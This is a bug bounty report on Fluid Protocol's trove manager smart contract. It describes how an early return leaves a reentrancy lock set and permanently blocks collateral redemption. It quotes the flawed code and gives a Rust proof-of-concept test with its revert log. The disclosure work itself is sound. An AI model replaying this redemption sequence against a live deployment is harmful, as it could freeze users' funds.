#37452 [SC-Critical] `trove-manager-contract.redeem_collateral_from_trove` can be locked forever

Submitted on Dec 5th 2024 at 04:07:57 UTC by @jasonxiale for IOP | Fluid Protocol

  • Report ID: #37452

  • Report Type: Smart Contract

  • Report severity: Critical

  • Target: https://github.com/Hydrogen-Labs/fluid-protocol/tree/main/contracts/trove-manager-contract/src/main.sw

  • Impacts:

    • Permanent freezing of funds

Description

Brief/Intro

trove-manager-contract.redeem_collateral_from_trove is used to redeem USDF for other collaterals, in current implementation, there is an early return that doesn' set the lock variable to false, leading trove-manager-contract.redeem_collateral_from_trove to be DOSed forever.

Vulnerability Details

trove-manager-contract.redeem_collateral_from_trove will call trove-manager-contract.internal_redeem_collateral_from_trove, in trove-manager-contract.internal_redeem_collateral_from_trove, to prevent reentrancy, the function will first make sure lock_internal_redeem_collateral_from_trove isn't set, and then set the variable in trove-manager-contract#L789-L797.

If lock_internal_redeem_collateral_from_trove has already been set, the function will revert with msg "TroveManager: Internal redeem collateral from trove is locked".

Then at the end of the function, lock_internal_redeem_collateral_from_trove will be cleared.

The issue is that there is an early return in trove-manager-contract#L819-L822, and before the return, lock_internal_redeem_collateral_from_trove isn't cleared

780 fn internal_redeem_collateral_from_trove(
781     borrower: Identity,
782     max_usdf_amount: u64,
783     price: u64,
784     partial_redemption_hint: u64,
785     upper_partial_hint: Identity,
786     lower_partial_hint: Identity,
787 ) -> SingleRedemptionValues {
788     // Prevent reentrancy
789     require(
790         storage
791             .lock_internal_redeem_collateral_from_trove
792             .read() == false,
793         "TroveManager: Internal redeem collateral from trove is locked",
794     );
795     storage
796         .lock_internal_redeem_collateral_from_trove
797         .write(true);
...
815     } else {
816         // Calculate the new nominal collateralization ratio
817         let new_nicr = fm_compute_nominal_cr(new_coll, new_debt);
818         // If the new debt is below the minimum allowed, cancel the partial redemption
819         if (new_debt < MIN_NET_DEBT) {
820             single_redemption_values.cancelled_partial = true; 

----------->>>>>>>> Here the function does't clear `lock_internal_redeem_collateral_from_trove`
821             return single_redemption_values; 
822         }
...
850 }

Impact Details

If the early return happens, the redeem_collateral_from_trove will be DOSed forever.

References

Add any relevant links to documentation or code

Proof of Concept

Proof of Concept

Please put the following code in contracts/protocol-manager-contract/tests/success_redemptions.rs and run

cargo test proper_redemption_from_partially_closed_dos -- --nocapture

...

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 1 filtered out; finished in 0.00s

     Running tests/success_redemptions.rs (/opt/work/fluid-protocol/target/debug/deps/success_redemptions-a2d6c1cfcebe8b03)

running 1 test
Deploying core contracts...
Initializing core contracts...
LogResult { results: [Ok("TotalSupplyEvent { asset: 1d5cc792df542423f89a4fe22ccab41249fb9a5a6ffe2e64cdcfbc930af5f34b, supply: 15075000000000, sender: ContractId(9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba) }")] }
0
====================================================
thread 'proper_redemption_from_partially_closed_dos' panicked at /opt/work/fluid-protocol/test-utils/src/interfaces/protocol_manager.rs:214:14:
called `Result::unwrap()` on an `Err` value: Transaction(Reverted { reason: "AsciiString { data: \"TroveManager: Internal redeem collateral from trove is locked\" }", revert_id: 18446744073709486080, receipts: [Call { id: 0000000000000000000000000000000000000000000000000000000000000000, to: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, amount: 3000000000000, asset_id: 1d5cc792df542423f89a4fe22ccab41249fb9a5a6ffe2e64cdcfbc930af5f34b, gas: 1999782, param1: 10480, param2: 10505, pc: 19008, is: 19008 }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: 31ddeab4ed2802e357f2470401e3137f9f532b81c5751b6ab62ee556afc0ee19, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1980431, param1: 67101824, param2: 67100800, pc: 139672, is: 139672 }, Call { id: 31ddeab4ed2802e357f2470401e3137f9f532b81c5751b6ab62ee556afc0ee19, to: efdc766a03161cdbbe2a674ffa4562736f3bde2effc04badbafc3b2f5277370b, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1976461, param1: 67098176, param2: 67097152, pc: 189921, is: 189921 }, ReturnData { id: efdc766a03161cdbbe2a674ffa4562736f3bde2effc04badbafc3b2f5277370b, ptr: 67094592, len: 28, digest: a9dd65fcff83b6bccf652da94d61edd8632ff002061afc77e498266005f6be0c, pc: 191957, is: 189921, data: Some(00000000000000000000000900...) }, ReturnData { id: 31ddeab4ed2802e357f2470401e3137f9f532b81c5751b6ab62ee556afc0ee19, ptr: 67092800, len: 8, digest: 59f603c39018dc65fbf3007d91985355b0e27df2993aab3c4a9e4b5ea36c5996, pc: 156956, is: 139672, data: Some(000000003b9aca00) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: ad5c644c9b8714c5b137d8e9dfbb3b3be82b80bb698462a42ebe4786f56cf416, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1970352, param1: 67091520, param2: 67090496, pc: 139112, is: 139112 }, ReturnData { id: ad5c644c9b8714c5b137d8e9dfbb3b3be82b80bb698462a42ebe4786f56cf416, ptr: 67087104, len: 40, digest: ea74a1155359165b175e6b127fa7c4c341aaa1179234bfc620e5c43fa2bc1969, pc: 160104, is: 139112, data: Some(00000000000000005d99ee966b...) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1962703, param1: 67086080, param2: 67085056, pc: 139912, is: 139912 }, ReturnData { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, ptr: 67079921, len: 8, digest: a288e93d8a680ea89431f8e7d03e6e9ee4a4c7df535f475fdd41bd8da7b84093, pc: 170788, is: 139912, data: Some(000000005ee49978) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1883621, param1: 67078889, param2: 67077865, pc: 139672, is: 139672 }, Call { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, to: 313afce0799387b2931a204eee923aaf437db22c64cf00a47c80b2ab7b13441c, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1877607, param1: 67074729, param2: 67073705, pc: 278312, is: 278312 }, ReturnData { id: 313afce0799387b2931a204eee923aaf437db22c64cf00a47c80b2ab7b13441c, ptr: 67070569, len: 8, digest: 2b381cc14c4a06f97d5bef7439eea186ea1de8b680eb1e8b561be8226cfefe06, pc: 298220, is: 278312, data: Some(00000db5ec051e00) }, Call { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, to: 9a1c90566e409e0da2d6d472cf52b220210cae70035fcadb9c6ddb01ba8a5d07, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1870769, param1: 67069289, param2: 67068265, pc: 278312, is: 278312 }, ReturnData { id: 9a1c90566e409e0da2d6d472cf52b220210cae70035fcadb9c6ddb01ba8a5d07, ptr: 67065129, len: 8, digest: af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc, pc: 295772, is: 278312, data: Some(0000000000000000) }, ReturnData { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, ptr: 67064105, len: 8, digest: 2b381cc14c4a06f97d5bef7439eea186ea1de8b680eb1e8b561be8226cfefe06, pc: 169468, is: 139672, data: Some(00000db5ec051e00) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: 5e1d234330d8b193927286c68a86d04d5d01d5126691c54af110ead6c40d9708, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1863045, param1: 67062969, param2: 67061945, pc: 139672, is: 139672 }, Call { id: 5e1d234330d8b193927286c68a86d04d5d01d5126691c54af110ead6c40d9708, to: 880ce776d9cbc06eebabd32a59d1932af10a903ae200eda37861adcfc35c52a4, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1859075, param1: 67059321, param2: 67058297, pc: 189921, is: 189921 }, ReturnData { id: 880ce776d9cbc06eebabd32a59d1932af10a903ae200eda37861adcfc35c52a4, ptr: 67055737, len: 28, digest: a9dd65fcff83b6bccf652da94d61edd8632ff002061afc77e498266005f6be0c, pc: 191957, is: 189921, data: Some(00000000000000000000000900...) }, ReturnData { id: 5e1d234330d8b193927286c68a86d04d5d01d5126691c54af110ead6c40d9708, ptr: 67053945, len: 8, digest: 59f603c39018dc65fbf3007d91985355b0e27df2993aab3c4a9e4b5ea36c5996, pc: 156956, is: 139672, data: Some(000000003b9aca00) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: ad5c644c9b8714c5b137d8e9dfbb3b3be82b80bb698462a42ebe4786f56cf416, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1852966, param1: 67052665, param2: 67051641, pc: 139112, is: 139112 }, ReturnData { id: ad5c644c9b8714c5b137d8e9dfbb3b3be82b80bb698462a42ebe4786f56cf416, ptr: 67048249, len: 40, digest: 2c34ce1df23b838c5abf2a7f6437cca3d3067ed509ff25f11df6b11b582b51eb, pc: 160104, is: 139112, data: Some(00000000000000000000000000...) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: f5b66678f7799d5740d461c5a3d3f18356e32530192ef2654af64bc046595ad0, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1845464, param1: 67047209, param2: 67046185, pc: 139672, is: 139672 }, Call { id: f5b66678f7799d5740d461c5a3d3f18356e32530192ef2654af64bc046595ad0, to: 313afce0799387b2931a204eee923aaf437db22c64cf00a47c80b2ab7b13441c, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1839450, param1: 67043049, param2: 67042025, pc: 278312, is: 278312 }, ReturnData { id: 313afce0799387b2931a204eee923aaf437db22c64cf00a47c80b2ab7b13441c, ptr: 67038889, len: 8, digest: af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc, pc: 298220, is: 278312, data: Some(0000000000000000) }, Call { id: f5b66678f7799d5740d461c5a3d3f18356e32530192ef2654af64bc046595ad0, to: 9a1c90566e409e0da2d6d472cf52b220210cae70035fcadb9c6ddb01ba8a5d07, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1832612, param1: 67037609, param2: 67036585, pc: 278312, is: 278312 }, ReturnData { id: 9a1c90566e409e0da2d6d472cf52b220210cae70035fcadb9c6ddb01ba8a5d07, ptr: 67033449, len: 8, digest: af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc, pc: 295772, is: 278312, data: Some(0000000000000000) }, ReturnData { id: f5b66678f7799d5740d461c5a3d3f18356e32530192ef2654af64bc046595ad0, ptr: 67032425, len: 8, digest: af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc, pc: 169468, is: 139672, data: Some(0000000000000000) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: ad5c644c9b8714c5b137d8e9dfbb3b3be82b80bb698462a42ebe4786f56cf416, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1823043, param1: 67030921, param2: 67029897, pc: 140032, is: 140032 }, ReturnData { id: ad5c644c9b8714c5b137d8e9dfbb3b3be82b80bb698462a42ebe4786f56cf416, ptr: 67025922, len: 40, digest: 2e0cc4f65421eb00c527deb8171afd28931d36a7673d00ddbb7ccbfa672a70d4, pc: 160204, is: 140032, data: Some(0000000000000000bdaad6a89e...) }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1813741, param1: 67024898, param2: 67023874, pc: 139112, is: 139112 }, ReturnData { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, ptr: 0, len: 0, digest: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855, pc: 171456, is: 139112, data: Some() }, Call { id: 9f90ce48708b8ce30186a91a1f759ff541393f95143ef00cc38f974d5bea5cba, to: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1801640, param1: 67019064, param2: 67018040, pc: 139112, is: 139112 }, LogData { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, ra: 0, rb: 10098701174489624218, ptr: 67014904, len: 69, digest: 8aeae7cefa9c5fa1b1bbe5a4cc186b8d50ceeb77d742620c3c1206ea76775466, pc: 178880, is: 139112, data: Some(000000000000003d54726f7665...) }, Revert { id: cf0d07e5a97c56dc62d3fb6a096a881bbc9938d4021293ad855eb2087a9029b3, ra: 18446744073709486080, pc: 178888, is: 139112 }, ScriptResult { result: Revert, gas_used: 206236 }] })
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
test proper_redemption_from_partially_closed_dos ... FAILED

failures:

failures:
    proper_redemption_from_partially_closed_dos

In the POC, two redeem transactions are submited, the first is used to make internal_redeem_collateral_from_trove return early(which means lock_internal_redeem_collateral_from_trove isn't cleared, and the second redeem transaction will revert with "TroveManager: Internal redeem collateral from trove is locked"`

diff --git a/contracts/protocol-manager-contract/tests/success_redemptions.rs b/contracts/protocol-manager-contract/tests/success_redemptions.rs
index 027834b..8899e51 100644
--- a/contracts/protocol-manager-contract/tests/success_redemptions.rs
+++ b/contracts/protocol-manager-contract/tests/success_redemptions.rs
@@ -518,3 +518,222 @@ async fn proper_redemption_with_a_trove_closed_fully() {
 
     assert_eq!(coll_surplus, coll3 - with_min_borrow_fee(debt3));
 }
+
+#[tokio::test]
+async fn proper_redemption_from_partially_closed_dos() {
+    let (contracts, _admin, mut wallets) = setup_protocol(5, true, false).await;
+
+    let healthy_wallet1 = wallets.pop().unwrap();
+    let healthy_wallet2 = wallets.pop().unwrap();
+    let healthy_wallet3 = wallets.pop().unwrap();
+
+    let balance = 10_000 * PRECISION;
+
+    token_abi::mint_to_id(
+        &contracts.asset_contracts[0].asset,
+        balance,
+        Identity::Address(healthy_wallet1.address().into()),
+    )
+    .await;
+
+    token_abi::mint_to_id(
+        &contracts.asset_contracts[0].asset,
+        balance,
+        Identity::Address(healthy_wallet2.address().into()),
+    )
+    .await;
+
+    token_abi::mint_to_id(
+        &contracts.asset_contracts[0].asset,
+        balance,
+        Identity::Address(healthy_wallet3.address().into()),
+    )
+    .await;
+
+    let borrow_operations_healthy_wallet1 = ContractInstance::new(
+        BorrowOperations::new(
+            contracts.borrow_operations.contract.contract_id().clone(),
+            healthy_wallet1.clone(),
+        ),
+        contracts.borrow_operations.implementation_id.clone(),
+    );
+
+    oracle_abi::set_debug_timestamp(&contracts.asset_contracts[0].oracle, PYTH_TIMESTAMP).await;
+    pyth_oracle_abi::update_price_feeds(
+        &contracts.asset_contracts[0].mock_pyth_oracle,
+        pyth_price_feed(1),
+    )
+    .await;
+
+    borrow_operations_abi::open_trove(
+        &borrow_operations_healthy_wallet1,
+        &contracts.asset_contracts[0].oracle,
+        &contracts.asset_contracts[0].mock_pyth_oracle,
+        &contracts.asset_contracts[0].mock_redstone_oracle,
+        &contracts.asset_contracts[0].asset,
+        &contracts.usdf,
+        &contracts.fpt_staking,
+        &contracts.sorted_troves,
+        &contracts.asset_contracts[0].trove_manager,
+        &contracts.active_pool,
+        10_000 * PRECISION,
+        5_000 * PRECISION,
+        Identity::Address(Address::zeroed()),
+        Identity::Address(Address::zeroed()),
+    )
+    .await
+    .unwrap();
+
+    let borrow_operations_healthy_wallet2 = ContractInstance::new(
+        BorrowOperations::new(
+            contracts.borrow_operations.contract.contract_id().clone(),
+            healthy_wallet2.clone(),
+        ),
+        contracts.borrow_operations.implementation_id.clone(),
+    );
+
+    borrow_operations_abi::open_trove(
+        &borrow_operations_healthy_wallet2,
+        &contracts.asset_contracts[0].oracle,
+        &contracts.asset_contracts[0].mock_pyth_oracle,
+        &contracts.asset_contracts[0].mock_redstone_oracle,
+        &contracts.asset_contracts[0].asset,
+        &contracts.usdf,
+        &contracts.fpt_staking,
+        &contracts.sorted_troves,
+        &contracts.asset_contracts[0].trove_manager,
+        &contracts.active_pool,
+        9_000 * PRECISION,
+        5_000 * PRECISION,
+        Identity::Address(Address::zeroed()),
+        Identity::Address(Address::zeroed()),
+    )
+    .await
+    .unwrap();
+
+    let borrow_operations_healthy_wallet3 = ContractInstance::new(
+        BorrowOperations::new(
+            contracts.borrow_operations.contract.contract_id().clone(),
+            healthy_wallet3.clone(),
+        ),
+        contracts.borrow_operations.implementation_id.clone(),
+    );
+
+    borrow_operations_abi::open_trove(
+        &borrow_operations_healthy_wallet3,
+        &contracts.asset_contracts[0].oracle,
+        &contracts.asset_contracts[0].mock_pyth_oracle,
+        &contracts.asset_contracts[0].mock_redstone_oracle,
+        &contracts.asset_contracts[0].asset,
+        &contracts.usdf,
+        &contracts.fpt_staking,
+        &contracts.sorted_troves,
+        &contracts.asset_contracts[0].trove_manager,
+        &contracts.active_pool,
+        8_000 * PRECISION,
+        5_000 * PRECISION,
+        Identity::Address(Address::zeroed()),
+        Identity::Address(Address::zeroed()),
+    )
+    .await
+    .unwrap();
+
+    let protocol_manager_health1 = ContractInstance::new(
+        ProtocolManager::new(
+            contracts.protocol_manager.contract.contract_id().clone(),
+            healthy_wallet1.clone(),
+        ),
+        contracts.protocol_manager.implementation_id,
+    );
+
+    let pre_redemption_active_pool_debt = active_pool_abi::get_usdf_debt(
+        &contracts.active_pool,
+        contracts.asset_contracts[0].asset_id,
+    )
+    .await
+    .value;
+
+    oracle_abi::set_debug_timestamp(&contracts.asset_contracts[1].oracle, PYTH_TIMESTAMP).await;
+    pyth_oracle_abi::update_price_feeds(
+        &contracts.asset_contracts[1].mock_pyth_oracle,
+        pyth_price_feed(1),
+    )
+    .await;
+
+    let redemption_amount: u64 = 4_800 * PRECISION;
+    let res = protocol_manager_abi::redeem_collateral(
+        &protocol_manager_health1,
+        redemption_amount,
+        10,
+        0,
+        None,
+        None,
+        &contracts.usdf,
+        &contracts.fpt_staking,
+        &contracts.coll_surplus_pool,
+        &contracts.default_pool,
+        &contracts.active_pool,
+        &contracts.sorted_troves,
+        &contracts.asset_contracts,
+    )
+    .await;
+
+    let logs = res.decode_logs();
+    println!("{:?}", logs);
+    print_response(&res);
+    println!("====================================================");
+
+
+    let redemption_amount: u64 = 3_000 * PRECISION;
+    let res = protocol_manager_abi::redeem_collateral(
+        &protocol_manager_health1,
+        redemption_amount,
+        10,
+        0,
+        None,
+        None,
+        &contracts.usdf,
+        &contracts.fpt_staking,
+        &contracts.coll_surplus_pool,
+        &contracts.default_pool,
+        &contracts.active_pool,
+        &contracts.sorted_troves,
+        &contracts.asset_contracts,
+    )
+    .await;
+
+    let logs = res.decode_logs();
+    println!("{:?}", logs);
+    print_response(&res);
+
+
+/*    
+    let active_pool_asset = active_pool_abi::get_asset(
+        &contracts.active_pool,
+        contracts.asset_contracts[0].asset_id,
+    )
+    .await
+    .value;
+
+    let active_pool_debt = active_pool_abi::get_usdf_debt(
+        &contracts.active_pool,
+        contracts.asset_contracts[0].asset_id,
+    )
+    .await
+    .value;
+
+    println!("active_pool_asset: {}", active_pool_asset);
+    println!("active_pool_debt: {}", active_pool_debt);
+    println!(
+        "pre_redemption_active_pool_debt: {}",
+        pre_redemption_active_pool_debt
+    );
+    println!("redemption_amount: {}", redemption_amount);
+
+    assert_eq!(
+        active_pool_debt,
+        pre_redemption_active_pool_debt - redemption_amount
+    );
+*/
+}
+